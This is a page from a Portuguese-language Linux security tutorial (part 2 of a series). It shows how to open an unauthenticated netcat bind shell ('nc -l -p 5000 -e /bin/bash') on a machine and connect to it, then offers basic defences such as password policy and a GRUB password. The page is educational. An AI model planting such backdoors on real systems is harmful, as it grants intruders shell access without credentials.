Linux slogan
Visite também: Segurança Linux · BR-Linux.org · Dicas-L · Doode · NoticiasLinux · SoftwareLivre.org · UnderLinux



» Screenshot
Linux: Linux Mint 9 instalado no meu hp pavilion dv4-2112br
Por removido
» Login
Login:
Senha:

Se você ainda não possui uma conta, clique aqui.

Esqueci minha senha



Artigo

Segurança em seu Linux (parte 2)
Linux user
leodamasceno
16/03/2010
Continuação do primeiro artigo sobre segurança em seu Linux, porém nessa parte será estudado fork bomb, prevenção contra fork bomb e algumas outras técnicas.
Por: Leonardo Damasceno | Blog: http://leodamasceno.blogspot.com
[ Hits: 10023 ]
Conceito: 10.0   1 voto(s)1 voto(s)1 voto(s)1 voto(s)1 voto(s) + quero dar nota ao artigo

Introdução aos softwares

Bem, este artigo é uma continuação do Segurança em seu Linux, não vamos começar com uma introdução a segurança (já que o primeiro artigo já trata deste assunto) e sim falando sobre os softwares utilizados para fazer os testes e os métodos utilizados para a prevenção do mesmo.

Softwares

Netcat:

O Netcat é uma ferramenta de rede, disponível para sistemas operacionais Unix, GNU/Linux, Microsoft Windows e Macintosh que permite, através de comandos e com sintaxe muito sensível, abrir portas TCP/UDP e HOST. Permite forçar conexões UDP/TCP (útil para realizar rastreamento de portas ou realizar transferências de arquivos bit a bit entre os equipamentos).

Fork Bomb:

É uma forma de ataque para negação de serviço. Ele nada mais é do que um script em bash que cria vários serviços em tão pouco tempo, fazendo com que o seu computador trave em menos de um segundo após digitado o comando.

HPING3:

Essa ferramenta tem por definição ser um gerador de pacotes "free" e também um analisador do protocolo TCP/IP. Iremos utilizar o HPING para enviar pacotes SYN Flood para uma página web.

Utilizando o Netcat

Antes de estudar a prevenção para este comando, vamos primeiro utilizá-lo.

Sintaxe:

# nc -l -p 5000 -e /bin/bash

Explicando os parâmetros:
  • -l: Coloca o Netcat em modo de escuta
  • -p: Diz a porta que será aberta para o "backdoor"
  • -e: Diz ao Netcat o que será executado após a conexão efetuada com sucesso

Então estamos dizendo para o Netcat trabalhar em modo de escuta, abrindo a porta 5000 e executando o /bin/bash, retornando um terminal livre para utilizarmos.

Vamos fazer o teste, supondo que você está conectado por ssh ou irá conectar na máquina 192.168.1.10:

# ssh root@192.168.1.10

Agora que estamos na estação de trabalho de algum usuário qualquer, vamos abrir a porta 5000 utilizando o Netcat e conectar quando quisermos, sem precisar de usuário e senha:

# nc -l -p 5000 -e /bin/bash

Pronto, agora note que de qualquer outra máquina, quando você tentar acessar, não irá pedir usuário nem senha, e você poderá navegar pelo sistema, veja:

# nc 192.168.1.10 5000
cd /home
ls
ricardo
marcelo
suporte

Então, estamos vendo que dentro de /home, existem alguns diretórios.

Em resumo, os comandos utilizados foram:

Abrir a porta: nc -l -p 5000 -e /bin/bash

Acessar o IP com a porta aberta: nc 192.168.1.10 5000

Então, como criar um mecanismo de defesa para isso!?

Bem, como foi mostrado, você precisa ter acesso ao servidor ou máquina para utilizar o Netcat.

A melhor defesa seria uma boa senha para este caso. Como foi mostrado no primeiro artigo dessa série, se alguém tem acesso físico a máquina, é quase impossível impedir que o considerado "hacker" ou "cracker" tenha acesso a máquina.

Então podemos proteger o GNU/Linux colocando uma senha no GRUB. Também devemos avisar aos usuários que senhas PRECISAM ser criadas com 6 dígitos ou mais, misturando números e letras de preferência. Para uma melhor segurança básica, de início está bem.

Caso você seja preocupado como eu, isso não bastaria! É necessário correr atrás de mais algumas soluções, como sniffers frequentes em rede, monitorando vulnerabilidades e verificando as senhas com force brute e uma boa wordlist, assim se existe alguma senha fraca, você pede para que o usuário altere de acordo com a política de senhas da sua empresa.

Próxima página >>




Páginas do artigo
   1. Introdução aos softwares
   2. Utilizando Fork Bomb
   3. Utilizando HPING3

Outros artigos deste autor

Leitura recomendada

Comentários
[1] Comentário enviado por removido em 26/03/2010 - 15:24h:

A montagem do artigo foi ótima. A melhor maneira de nos defendermos de um atual ataque é sabendo como eles funcionam de antemão. Alguns usuários tradicionais talvez achem um absurdo ensinar técnicas de invasão, mas a verdade é que somente aprendendo-as é possível defender-se de forma mais eficiente.

Isso sem contar que a melhor maneira de conscientizar o usuário de que, sim, o Linux, apesar de mais seguro, pode ser invadido se usado inadvertidamente, é demonstrando como isso pode ocorrer. Parabéns pelo artigo, que tem conhecimento e dicas valiosas.

[2] Comentário enviado por sergei em 15/01/2012 - 00:15h:

Uma coisa eu não entendi, se o ping é direto no servidor porque a regra é usada foi forward é não input?! o.õ


Contribuir com comentário


  
Para executar esta ação você precisa estar logado no site, caso contrário, tudo o que for digitado será perdido.
Responsável pelo site: Fábio Berbert de Paula - Conteúdo distribuído sob licença GNU FDL
Site hospedado por:

Viva o Linux

A maior comunidade Linux da América Latina! Artigos, dicas, tutoriais, fórum, scripts e muito mais. Ideal para quem busca auto-ajuda em Linux.